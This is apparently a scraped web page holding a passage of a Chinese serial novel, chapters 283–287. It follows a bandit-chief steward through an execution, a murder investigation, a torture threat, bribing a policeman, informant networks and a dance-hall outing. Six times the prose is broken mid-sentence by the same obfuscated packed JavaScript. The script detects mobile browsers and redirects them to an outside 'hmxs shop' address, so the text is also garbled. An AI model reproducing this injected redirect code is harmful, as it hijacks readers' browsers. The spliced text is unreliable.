“比如,咱们山寨在每年年底的时候可以召开总结大会,根据每个人的表现,评选出三到五名表现最优秀的兄弟,每人奖励他们一定数量的土地。得到土地之后,他们可以选择自己下山耕种,也可以把得到的土地让给家人耕种。” “咱们哪有土地啊?”陈老三不假思索地问道。 “土地很简单,咱们直接买就行,现在一亩土地还不到十块大洋,每年买几十亩土地对于咱们山寨来说并不是什么太大的负担,关键是让大家有争先恐后的劲头,同时也让大家有敬畏之心,不敢轻易违反寨规。” “秀才的建议非常好,我再提一个意见,对于怎么评选出表现最优秀的兄弟,必须有一个让所有人都心服口服的标准,我建议这个标准就由秀才来负责制定,制定好之后再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018574|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 上寨务会研究,大家还有什么意见没有?” 大家全部点头同意。 李二狗通过重用秀才来刻意削弱陈老三在山寨的影响力,他这样做并不是忌惮陈老三的影响力超过自己,而是觉得以陈老三的能力,影响力太大不利于山寨的长远发展。 “好,大家一起去聚义厅广场,杀鸡儆猴。” 广场上,孔三愣和赵小憨被双手反绑,跪在行刑台上,广场周围挤满了土匪。 胡豹面色惨白,瘫坐在地上。 李二狗特意吩咐人在今天早上接头的时候把胡豹绑上山,他也是其中的一只猴。 孔三愣见到陈老三,像是见到救星一般。 “三哥,三哥,饶了我们吧,我们再也不敢了!” 陈老三冷哼一声,根本没有搭理他。 李二狗给秀才递了个眼神,秀才上前,朗声说道:“孔三愣、赵小憨胆大妄为、无视寨规、漠视规矩,为了一己私利触碰山寨红线,经寨务会研究决定,立即执行**!” 人群中立即发出一阵惊叹。 秀才继续说道:“山寨兄弟要引以为鉴、吸取教训,深刻认识到寨规寨纪是长期有效的铁规矩、硬杠杠,自觉保持清醒头脑,始终心有所畏、言有所戒、行有所止。各位兄弟要时刻绷紧纪律这根弦,把精力和心思用在干事创业上。” 孔三愣眼睛直勾勾盯着李二狗,突然发现这个在山寨一直蒙面示人的大当家,身材气质竟和胡家大院的管家李二狗如出一辙,难道…… 他痛苦地闭上眼睛,彻底死心了!知道自己这次必死无疑! “行刑!” “砰砰”两声枪响,孔三愣和赵小憨脑后开花,倒在血泊中,胡豹已经尿流满地。 “狗哥,那个人怎么办?” 陈老三指了指瘫在地上口吐白沫的胡豹。 “必须给他一点教训,不然他会一直没完没了,打断腿扔下山。” 这边的事刚处理完,胡家大院又出了事,真是一波未平一波又起。 第283章 四季上吊 李二狗回到胡家大院的时候,天色已经擦黑。 “狗哥,你终于回来,四季姑娘她……她上吊了。” “你说谁?”李二狗以为自己听错了。 “四季姑娘上吊了。” “人救下来没有?” “今天中午发现的时候身子都已经凉了。” 李二狗至今依然记得第一次见四季时她对着自己微笑的样子,她的笑容是那样甜美,就像邻家的小姐姐。 自从胡老太太过世之后,李二狗一直没有安排四季做其他事情,她一直一个人住在胡老太太原来的院子里。 本来李二狗打算征求一下她的意见,想让她嫁人或者掌管一家店铺,没想到她竟然上吊**了! 她怎么会上吊**呢? “快带我去看看。” 来到院子里,四季的尸体放在一张草席上,身上盖着一块白布。 李二狗强忍泪水,轻轻地掀开白布。 四季脸色青紫肿胀、眼球突出、牙齿出血,脖子上有一条明显的勒痕。 虽然种种迹象都是上吊窒息而亡的特征,但李二狗的第一反应是四季绝对不是自己上吊身亡。 即使一个人决心选择上吊赴死,但在上吊的过程中,因为绳子勒紧脖子带来的窒息感,身体会条件性地出现垂死挣扎的反应,所以脖子上的勒痕肯定不会是一条规则而细小的勒痕。 而四季脖子上的勒痕就是这个特征。 那就只有一种可能,四季是被人杀害后又把她的身体吊上去,伪造出上吊**的假象。 “二驴,快去把院门关上。” 张二驴虽然不明白李二狗的意思,但还是照做了,这一点和陈老三一样,这也是李二狗选人用人的主要标准之一。 “狗哥,你发现什么了?” “二驴,来帮忙,咱们检查一下四季的身体上有没有其他伤痕。” 两人仔细检查了一遍四季的身体,除了面部和脖子之外,并没有发现她身体其他部位有明显的伤痕。 李二狗怀疑四季是被人用被子或者枕头之类的东西捂住口鼻窒息而死。 他快步来到卧室,拿起枕头仔细观察,发现枕面上确实有血迹。 李二狗又把屋内屋外仔细检查了一遍,发现东侧院墙下有一个很深的脚印,很明显,是有人从墙上跳下时留下的,从脚印的大小判断,应该是男人的脚印。 想到这,李二狗马上来到卧室房门门栓处查看,果然发现门栓上面有轻微的刀痕,这是被人从门外用刀子拨动门栓时留下的。 张二驴完全没有想到,李二狗竟然能在这么短的时间内发现这如此多关键线索。 “狗哥,你真是火眼金睛啊!那我们现在怎么办?” “你先不要声张,去摸排一下从昨晚到今天早上大院里男家丁的活动轨迹,先把可疑人员摸排出来,咱们再想办法。” “好,那四季姑娘怎么办?” “给她打一副上好的棺材,先入土为安吧。” 李二狗眼眶泛红,眼泪顺着脸颊流了下来。 在李二狗的想象中,四季一直是自己理想中的妻子模板。 她美丽善良,温柔体贴,尤其是笑起来的样子,会让人忘记所有的烦恼,可现在…… 埋葬完四季,张二驴也已摸排出可疑人员名单,一共有三个人。 “张飞虎那天晚上值夜,正好负责四季所住四合院那片区域。” “赵云龙有半个多时辰不在宿舍,据他自己说是肚子疼,一直在厕所。” “刘海蛟同宿舍的人那晚全部值夜,宿舍只有他一个人。” 听完张二驴的报告,李二狗问道:“除了这三个人,其他人都没有问题吗?” “其他人都有不在场的证据,基本可以排除。” 李二狗皱了一下眉头。 “基本排除是什么意思?” “如果是两个人协同作案,可能彼此会相互打掩护。” 李二狗十分肯定地说道:“作案的是一个人,院墙下是一个人的脚印。” 张二驴不得不佩服李二狗的仔细严谨。 “狗哥,那接下来我们怎么办?” “把他们三个人先控制起来,然后把他们的鞋子全部找来,一一比对。” 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018575|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 二驴恨不得当场给李二狗磕一个,他没想到如此复杂的事情解决的方法竟是如此简单,自己怎么就想不到呢? 通过比对,很快就确定作案的人是刘海蛟。 李二狗决定亲自审问他。 “李管家,您可千万不能冤枉好人呐,我怎么可能**呢?我和四季姑娘无冤无仇。” “**一定要有冤有仇吗?” “难道不需要吗?” “当然不需要!或许是你见色起意,或许是你要**灭口,又或许是你单纯为了**而**。” “李管家,这怎么……怎么可能?**是要偿命的。” “知道**要偿命,你为何还要**?” 面对李二狗咄咄逼人的追问,刘海蛟竟显得丝毫不乱,越是这样越说明他早已做足了心理准备。 “我没有**!李管家,您说我**,请您拿出证据来。” “你的脚印为何会出现在四季的院子里?” 刘海蛟微微一怔,随即说道:“胡家大院和我同样尺寸同样鞋子的人很多,为什么就认定是我留下的呢?” “因为其他人都有不在场的证据,而你没有。” “也许是凶手为了掩人耳目故意穿了我的那双鞋子。” “你的那双鞋子放在什么地方?为什么凶手能轻易拿走?” “我那双鞋子就放在宿舍窗台上,凶手很容易就能顺手拿走。” “你为什么知道是那双鞋子留下的脚印?我说过是什么鞋子吗?” 刘海蛟掉进了李二狗预设的陷阱里。 “我没有**,你不能冤枉好人!” 刘海蛟决定死扛到底。 李二狗已经确定就是刘海蛟杀了四季。 既然已经确定,李二狗就不打算对他客气了。 “二驴。” “狗哥,我在。” “刘海蛟可能需要一个地方好好想一想,院里的那条大狼狗是不是已经饿了三天了?就把他扒光了关进狼狗的笼子里吧,正好清醒清醒。” “好嘞,狗哥。” 刘海蛟彻底吓懵了。 “我说,我说……” 第284章 滥用私刑 原来刘海蛟在外边**输了很多钱,便盯上了一直独居的四季。 但四季为人谨慎,把自己的钱藏得很严实,刘海蛟在屋内翻箱倒柜却一无所获。 四季听到动静后,刘海蛟便用刀逼问她钱藏在什么地方,没想到聪颖单纯的四季立马听出是刘海蛟的声音。 刘海蛟见事情败露,便用枕头捂死四季,然后又伪装了她上吊**的假象。 “你**欠了多少钱?” 李二狗死死地盯着刘海蛟,恨不得立刻生吞活剥了他。 刘海蛟哆哆嗦嗦地比划出五个手指头。 “五块大洋。” 李二狗猛地上前薅住他的衣领,怒斥道:“你**为了五块大洋就杀了四季?老子要活剥了你!” 张二驴赶忙上前劝道:“狗哥,你冷静点,咱们还是把他交给警察局处理吧?” 李二狗冷笑道:“岂能如此便宜了他!把他拖出去先打断双腿再送到警察局。” “狗哥,这样做不太好吧?还是把他交给警察局吧?” “哼,必须打断他的腿!” “李管家,饶命啊,我知道错了,我知道错了。” “下雨了,你知道打伞了,天塌了,你知道后悔了,我告诉你,晚了!二驴,拖出去,给我狠狠地打,打不断他的腿我打断你的腿。” “狗哥,你就交给我吧,我肯定打断他**这双狗腿。” 张二驴把所有的家丁和丫鬟**起来,然后亲自用擀面杖打断了刘海蛟的双腿,他惨叫的声音令所有的人胆战心惊。 打断刘海蛟的双腿之后,张二驴安排人把他直接送去了县警察局。 谁承想刘海蛟进了警察局之后便立马翻了口供,矢口否认自己**,并指控李二狗滥用私刑,严刑逼供。 王霸心想,李二滥用私刑,受害者又被掩埋,如今凶手不承认自己**,他敏锐地发现这里面大有油水。 他带着两个警察开着警车来到胡家大院。 “老子是县警察局的,快去把你们李管家叫来。” 王霸霸气地走进胡家大院,无人敢拦。 张二驴连忙跑过去,恭敬地问道:“老总,你们是来调查刘海蛟**案的吗?” “什么**案?老子是来调查你们滥用私刑、严刑逼供之事,快去把李二狗给我叫出来。” 张二驴看来人有些面生,便问道:“老总,以前好像没见过您,不知……” 身后一个尖嘴猴腮的警察立刻说道:“睁开你的狗眼看清楚,这是我们警察局王霸王队长,专门负责侦破全县的大案要案。” 张二驴依然保持着恭敬的样子。 “原来是王队长,久仰大名,”张二驴刻意压低声音,“王队长,我们李管家和孙县长认识……” 王霸冷笑道:“和孙县长认识?哈哈,全县说认识孙县长的少说也有几百,孙县长认识他吗?” 张二驴连忙说道:“认识,认识,孙县长和我们李管家关系很要好。” “我说我和省政府夏主席也很要好,你信吗?不要以为自己和孙县长见过两次面,说过几句话,就认为是好朋友了,我最恨你们这种打着领导幌子到处为非作歹的人。” 张二驴看着眼前这个颐指气使的王霸,心想,全县官场几乎都知道李二狗和孙竹刚关系要好,他如此无知无畏是怎么当上警察局队长的? “王队长……” 王霸粗鲁地打断他。 “你不要再说了,你的身份和我不对等,赶紧去把李二狗给我叫出来,本队长亲自来了,他还不赶紧出来接待,怎么摆这么大的谱?” 张二驴只能说道:“王队长,请您稍等,我马上去向李管家报告。” 李二狗此时正在于兰芝院里逗弄梦瑶。 “李管家,总算找到你了,县警察局来了一个叫王霸的队长,指明要见你。” “没说什么事?” “说咱们滥用私刑、严刑逼供,看样子来者不善。” 李二狗立刻明白了王霸的目的。 “这是来敲竹杠的,都是以前玩剩下的东西,你先去吧,我一会儿过去。” 张二驴看李二狗没当回事,便提醒道:“狗哥,这个王队长好像有点唬,对你和孙县长的关系不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022876|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 屑一顾,我看咱们还是得小心一点。” 李二狗心想,警察局竟然还有这样的糊涂蛋。 “呵呵,那我们就去见识见识他到底有多唬。” 来到会客厅,王霸正翘着二郎腿坐着,见李二狗进来,他只是斜着眼看了一眼。 “李大管家好大的架子,让本队长等了这么久。” 李二狗拱手笑道:“实在是不好意思,刚才有点事情耽搁了,让王队长久等了。” 王霸阴阳道:“李管家日理万机,当然不会把滥用私刑这种小事放在心上。” “王队长,您这话从何说起?我们可没有滥用私刑啊。” “刘海蛟双腿都被你们打断了,你竟然还说没有滥用私刑?在你眼里,什么才算是滥用私刑?” “王队长,刘海蛟杀了人,在逃窜过程中被我们发现,这怎么能算滥用私刑呢?” “刘海蛟到底有没有**是你说了算吗?” “他已经承认自己**了。” “他说是你滥用私刑、刑讯逼供,他才不得不承认自己杀了人,他说自己根本没有**,是你们屈打成招!” “刘海蛟这个**的,当时就应该打死他。” “呵呵,李管家终于承认滥用私刑了,有些事需要你跟我到警察局说清楚,我们走吧!” 李二狗对付这种人早已驾轻就熟。 “王队长,可否借一步说话?” 王霸等得就是李二狗这句话。 王霸朝门口的两个警察挥了挥手。 “你们出去等我。” 警察走后,张二驴也退了出去。 “李管家,我这人说话办事喜欢直来直去,有什么话你尽管说吧。” “王队长,一看就知道您是敞亮人,刘海蛟**之事证据确凿,还请王队长明察。” 李二狗说着便把提前准备好的一百块大洋塞到王霸手里。 王霸笑道:“李管家尽管放心,本队长不会冤枉一个好人,也绝不会放过一个坏人,刘海蛟他死定了。” “那就多谢王队长了,以后还请您多多关照。” “好说,好说。” 第285章 忠诚教育 张二驴看着扬长而去的汽车,不满地说道:“狗哥,这王霸真是不长眼,敲竹杠竟然敲到咱们胡家大院头上了。” 李二狗面带微笑:“人要作死,谁也拦不住,先让他蹦跶几天吧。” “狗哥,这种风气可不能长啊,我看你还是尽快找一下孙县长吧。” 对于李二狗来说,能用钱解决的问题都不是问题。 自己虽然和孙竹刚交好,但也不能事事都指望他。 “二驴,你记住我的话,靠山山倒,靠树树摇,靠人人跑,只有靠自己才是最好的。” 张二驴如同醍醐灌顶般恭维道:“狗哥,跟着你可真长见识。” 明知道张二驴在拍自己马屁,但李二狗还是很高兴。 “二驴,出现刘海蛟这样的事情说明咱们大院的忠诚教育出现了问题,下一步你要重点抓一抓。” 张二驴只知道“忠诚”二字是什么意思,但对于“忠诚教育”却一窍不通。 “狗哥,忠诚怎么教育?忠诚难道不是天生的吗?有些人天生反骨,肯定是教育不好的。” “说你傻吧,你都二十好几的人了,说你聪明,你还傻得没边。” 张二驴虽然被骂,心里却很受用。 “嘿嘿,狗哥,有些事还得需要你给我多点指点。” “其实这个世界上根本就没有绝对的忠诚,忠诚无非是因为背叛的筹码不够。” 张二驴脸红了。 “狗哥,我对你可是绝对忠诚。” “你小子不用这么急着表态,我相信你现在对我是忠诚,但以后什么样谁都无法保证,因为人性是最难以琢磨的东西。” 李二狗说得貌似很有道理,但张二驴绝对不会承认自己会对他不忠诚。 “狗哥,无论以后发生什么,我对你绝无贰心。” 李二狗明知道这是一种恭维,但内心却很受用,这也是人性的一部分。 “二驴,少**扯淡,说正事。忠诚虽然难以琢磨,但却是可以通过教育培养出来的。” “狗哥,麻烦你说得再明白一点,我这脑子太小,一时半会儿还反应不过来。” “不要一听到教育就认为是一件很复杂的事情,其实教育本身是非常简单的。就拿忠诚教育来说,最简单的方式就是每天早晚把大家集合起来,一起高呼几遍忠诚感恩之类的口号,让口号入脑入心,内化于心,外化于行,融入自己血液里,这样日积月累下来,效果是非常明显的。” 张二驴不得不佩服李二狗的智慧,他的脑子里总是装满了各种各样稀奇古怪的主意。 “嘿嘿,狗哥,听你说话可真长见识,还有呢?” “老子让你去做,你倒让老子给你拿主意,你**怪会省劲。” “嘿嘿,我这主要是想和狗哥多学一点。” “除了每天早晚集合高喊口号之外,你再定期把他们组织起来进行集中学习,请教书先生给他们讲一讲《忠经》《孝经》《列女传》《杨家将》这类关于礼孝忠义信的书。而且每次学习完之后让他们每个人在结合自身实际谈一谈心得体会,尤其是自己对胡家大院的感激之情。” 张二驴听后一本正经地说道:“狗哥,你不是人!” “你说什么?” 张二驴连忙解释道:“狗哥,你是神!这世上就没有你不懂的事情。” “让你多读书,你总是不听,这都是吴爷给我的书本上讲的,我也是现学现卖。” “狗哥,听君一席话,胜读十年书,我马上去办。” 李二狗叫住他,继续说道:“光教育还不够,还要配合一定的奖惩措施。” 张二驴又迷糊了,他只能做出一副洗耳恭听的样子。 “所谓的奖励就是每年年底组织所有的人进行一次考核,让大家根据每个人在这一年中的表现进行打分,然后根据得分高低给予一定的奖励。” “当然他们的打分结果只是一个参考,最终的成绩还是由你来确定,这样才能树立你在他们心目中的权威。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022877|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 张二驴忙说道:“我肯定不行啊,最终的成绩还得由狗哥你来决定。” “无论最终由谁来决定,结果一定要真实。不能明明他干得很差,你却把他排在第一名,这样大家心里会很不服气,也就失去了考核的意义。” “嗯,有道理,还是狗哥想得深刻,我就想不到。” “你小子是想不到还是不愿意想?多动动脑子,不然会生锈的。” “嘿嘿,我一定向狗哥多学习。” “还有,既然有奖,那就一定要有罚,对于得分排在后三名的人,第一年给予警告,如果第二年还排在后三名,直接予以辞退,这样既保证了公平公正,也能起到震慑作用,让大家时刻怀有一颗敬畏之心。” “张二驴听罢,“扑通”跪在地上,给李二狗“哐哐哐”磕了三个响头。 “狗哥,我服了,我张二驴这辈子跟定你了。” “刚说完靠山山倒,靠树树摇,你小子又给我戴高帽?还有最重要的一条,但这一条一定要保密,不能拿到台面上来。” 看李二狗说得如此神秘,张二驴赶忙问道:“狗哥,什么啊?还得保密?” “你私下里找几个忠诚可靠的人,每个月额外给他们一部分工钱,让他们一旦发现身边有异常的人或者事情,及时向你报告,报告的事情一旦落实,再给他们一部分奖励,这样你就能全面掌握下面所有人的动向。” 张二驴彻底心服口服。 “狗哥,以你的聪明才智,不当总统实在是可惜了。” 李二狗完全认可张二驴的观点。 “还有,你选中的人不要让他们知道还选了别人,要让他们认为自己就是唯一。” 张二驴听后不住地点头,越琢磨越觉得李二狗的话有道理,都是人生智慧。 “另外,选人的时候也要挑选一两个丫鬟,女人同样不能忽视。” “还有吗?” “这些你能做好就很不错了,抓紧去办吧,尽快把口号先制定出来。” 第286章 胡家大院快断粮了 “胡家大院我的家,一砖一瓦皆牵挂!” “大院团结如一人,同守忠孝百世荣!” “众志成城、力量无穷!” …… 当这些响亮的口号每天早晚响彻在胡家大院上空时,李二狗开心地笑了。 这样喊上三五个月,人人都是忠臣孝子。 正当李二狗洋洋自得时,张二驴拉着一张驴脸出现在他面前。 “狗哥,告诉你一个坏消息。” 李二狗以为是忠诚教育出了问题,急忙问道:“二驴,怎么了?” “哎,狗哥,咱们胡家大院的存粮撑不过两个月了。” 李二狗最近接二连三地被一些杂事整得晕头转向,完全忘记了胡家大院正面临着严重的生存危机。 “现在市面上粮食什么价格?” “小麦九**,玉米四**,地瓜三毛。” 李二狗没想到地瓜的价格竟然比以前小麦的价格都贵了好几倍,这是要把穷人逼死的节奏。 其实胡家大院不仅粮食短缺,存款也早已捉襟见肘,如果按这个价格购买粮食,胡家大院很快就会破产。 “狗哥,要不然你向大奶奶请示一下,还是卖点土地吧。” 连年干旱,大部分人早已外出逃荒,土地的价格更是跌到谷底,这时候卖土地实在不是时候。 胡士高已死,于兰芝是自己的女人,梦瑶是自己的女儿,其实胡家大院早已变成李二狗的财产,他不能眼睁睁地看着胡家大院这样败落下去。 好在他还留有一条后路,清风寨还有一些存粮,万不得已的时候可以接济一下胡家大院。 “还是再等等吧,明天我去省城想想办法,看看能不能买一些便宜的粗粮,我不在的这段时间,你一定要看好门户,千万不能出任何闪失!” “放心吧,狗哥,凤凰镇民团已经搬到镇上,咱们这边一旦有情况,他们几分钟就能赶到。” 李二狗还是郑重地交代道:“特殊时期,还是小心一点。” 第二天一早,李二狗便骑马去了县城。 李二狗直接来到孙竹刚的办公室,富志高正在汇报工作。 “大哥,你先忙,我待会再过来。” 李二狗看到富志高在场,故意当着富志高的面称呼孙竹刚为大哥。 孙竹刚说道:“兄弟,不碍事,你进来,正好给你介绍一下,这是咱们县新任警察局局长富志高,富局长,这是我兄弟李二狗,胡家大院的管家。” 富志高一直听说孙竹刚和李二狗关系不错,但没想到两人关系如此之好,在外人面前竟以兄弟相称。 “李管家,久仰久仰,今日得见,果然是气度非凡啊。” 李二狗笑道:“富局长您客气了,我也是久仰您的大名,前两天王霸队长来我们胡家大院,还专门提起过您。” “奥,李管家认识我们王队长?” “我和王队长也是刚刚认识,前两天,王队长为了一件**案,亲自带队到我们胡家大院了解情况,其敬业态度实在是令人敬佩呐。” 李二狗不阴不阳的话,富志高立刻明白其中定有隐含,自己的手下什么德性他心知肚明。 “大家都是朋友,以后还请李管家多多关照。” “呵呵,富局长您客气了,还得请您多关照我们平头老百姓才是。” 富志高更加确定李二狗话里有话。 “孙县长,那我就不打扰你们了。” “嗯,你先回吧,刚才说的事抓紧去办。” 富志高走后,孙竹刚问道:“兄弟,你说的那个王霸是怎么回事?他为难你了?” 李二狗显得毫不在意:“也不算为难,我给了他一点钱就打发了,大哥,这点小事我能应付,不用麻烦你。” “哼,在江东竟然还有这么不开眼的东西!大哥一定会给你出这口气的。” “大哥,这点小事咱们还是以后再说,我今天来是有大事和你商量。” 孙竹刚听说有大事,立马来了精神。 “什么大事?快给大哥说说。” “大哥,我今天想去省城一趟,你有没有空和我一起去?到时候可以去拜访一下夏主席。” 一听说拜访夏主席,孙竹刚就是有天大的事也会变成没事。 “没事,没事,我正准备这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029734|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 两天去一趟省城。” “大哥,我知道江东这个烂摊子很难收拾,这次去省城你可以向夏主席诉诉苦,让他拨一些救济粮下来,到时候我会为江东说好话的。其实不瞒你说,我们胡家大院都快断粮了。” “知我者兄弟也,这些天我都快愁**,上边再不拨粮,江东百姓真要死绝了!” “大哥太不容易了,咱们什么时候出发?” “宜早不宜迟,咱们现在就走。” 孙竹刚通知秘书安排车,两人直接乘车去了省城。 富志高回到警察局,越想越觉得李二狗话里有话,他好像对王霸颇有怨言。 “去把王霸叫我屋里来。” 王霸接到通知,立马屁颠屁颠跑到富志高办公室,以他这个级别,局长是很少亲自接见的。 “报告,富局长,您找我?” “王队长,听说你前两天去胡家大院了?” “是的,局长,有个案子我去核实一些情况。” “你和胡家大院的管家李二狗熟悉吗?听说这个人有些来头?” 王霸轻易就从李二狗手中要得一百块大洋,这样的人能有什么来头! 但富志高专门把自己叫来,难道就是为了问李二狗有没有来头? 他为什么要问自己?这不合常理啊! 为了谨慎起见,王霸说道:“局长,您说得有些来头是什么意思?卑职不明白!” 富志高便说道:“前两天他托人找我说情,说情的人说他有些来头,我这正在琢磨该怎么答复他。” 王霸这才心里有了底。 “这个李二狗,现在都传他和孙县长关系匪浅,不过以我看,他就是扯大旗作虎皮,狐假虎威罢了,局长您不必放在心上。” 富志高此时已经确定,王霸去胡家大院肯定趁机敲了李二狗的竹杠,他这是找死! 不过正好给了自己一个在孙竹刚面前立功的机会。 “好了,你先下去吧。” 王霸走后,富志高把秘书叫进来。 “免去王霸行动队副队长职务,开除出警察队伍,这样的害群之马绝不能留在警察队伍中。” 第287章 给人家一个机会呗 李二狗和孙竹刚乘车来到省城。 孙竹刚猛地拍了一下大腿,像是突然想起来什么重要的事情。 “哎呀!” 李二狗吓了一跳,急忙问道:“怎么了,大哥?” “兄弟,咱们走得时候太匆忙,竟然忘记给夏主席带些咱们江东的土特产,真是太不应该了。” 李二狗听罢,微微一笑。 “大哥,我给你带了,放心吧。” 孙竹刚明明看着李二狗空着手上的车,他能带什么土特产? “兄弟,大哥没和你开玩笑,我第一次见夏主席,这样空着手去实在是太不礼貌了。” “大哥,放心吧,不会让你空着手去的,我有准备。现在时间还早,我先带你去个好地方。” 每次从江东带人来省城,李二狗第一站总会选择去百乐门大舞厅。 “狗哥,狗哥……” 百乐门大舞台门口穿着统一黑衣西装的保镖见到李二狗全部热情地问好。 “狗哥,狗哥……” 进入百乐门,里面的舞女和服务员也热情地向李二狗问好。 孙竹刚虽然是江东县的县长,但基本没有离开过江东县,对于省城的新鲜事物充满了好奇。 “兄弟,咱江东的舞厅和这里一比,简直就是草台班子。” 孙竹刚眼珠子滴溜溜盯着舞台上露出半截大长腿的舞女,舌头不自觉地舔了舔有些干裂的嘴唇。 “大哥,人生得意须尽欢,西湖歌舞几时休,躁动起来吧,这才是生活。” “对,对,这才是生活,哈哈。” 李二狗一招手,一个女服务员赶紧来到李二狗身边。 “狗哥,您有什么吩咐?” “这是我最好的大哥,你给他安排两个最漂亮的姑娘,我看就圆圆和兮兮吧,一定要陪好。” “放心吧,狗哥,我这就去安排。” 孙竹刚一听说安排最好的姑娘,还是两个,当即笑得合不拢嘴。 “兄弟,这有点太奢侈了吧?嘿嘿。” “大哥,放开了玩,这里不是江东,你也不是县长,心里千万不要有什么负担,就当在自己家里一样。” 说话间,圆圆和兮兮扭着二尺一的小腰走了过来。 都说女人的腰,夺命的刀,她俩那曼妙的小腰,一旦扭动起来,勾得孙竹刚难以把持,心神荡漾。 “狗哥,您来了,可想死我们了。” “你俩好好陪我大哥耍耍,哥不会亏待你们的。” “狗哥吩咐的事我们当然全力以赴。” 两人立马一边一个挽着孙竹刚的胳膊,孙竹刚笑得眼睛眯成了一条缝。 “兄弟,你不一起吗?” “我还有点事,大哥你好好玩,二楼有包厢,你有什么需求,尽管和她们说,这是咱自己的地方。” 孙竹刚哪里享受过这等齐人之福,左拥右抱的感觉让他顿时有种升天的感觉。 “那大哥就不客气了。” 孙竹刚搂着两个女人去了一个僻静的角落。 李二狗问身边的一个女服务员。 “静雯没来店里吗?” “狗哥,静雯姐一般晚上才过来一会儿,您有什么事?师师姐在楼上。” “不用了,你去忙吧,我上楼给她打个电话。” 李二狗来到二楼静雯办公室,李师师早已听到李二狗到来的消息。 “狗哥,啥时候来的?” 现在李二狗身边的人不论年纪大小,都习惯称呼他为狗哥。 “我这刚到,正想着给静雯打个电话。” “狗哥,你好偏心,心里只想着静雯一个人,我这么一个大活人站在你面前,你都视而不见吗?人家哪里不好嘛?” 面对李师师的言语试探,李二狗只能装糊涂。 静雯那么精明的一个人,他可不想在静雯眼皮子底下埋颗雷。 “我只是怕打扰了师师经理的工作,我这人你还不了解吗?脸皮薄。” “脸皮薄?”李师师目光灼灼地凝视着李二狗的眼睛,“看来我对你了解的还是不够深入呀,给人家一个机会呗。” 李二狗脸红了。 对于李师师这种豪爽泼辣的大洋马类型的女人,李二狗还真有点吃不消。 “师师经理……” “叫我师师。” “师师,等有机会一定和你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030294|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 起深入地切磋切磋。” “没有机会就创造机会,我看现在就是一个好机会。” “现在?师师,这种玩笑可开不得啊,我会当真的!” 李师师身子已经贴到李二狗身上,圆圆的、软软的,李二狗感觉呼吸都有些急促。 “现在想试试吗?” 李二狗很想试试,但在这里肯定不能试。 “师师,你听我说……” 没等李二狗说完,李师师突然大笑道:“哈哈,我逗你玩的,你可不要当真吆。” 李师师说完飘然而去,李二狗怀疑她是静雯特意安排来试探自己的,还好刚才没失态。 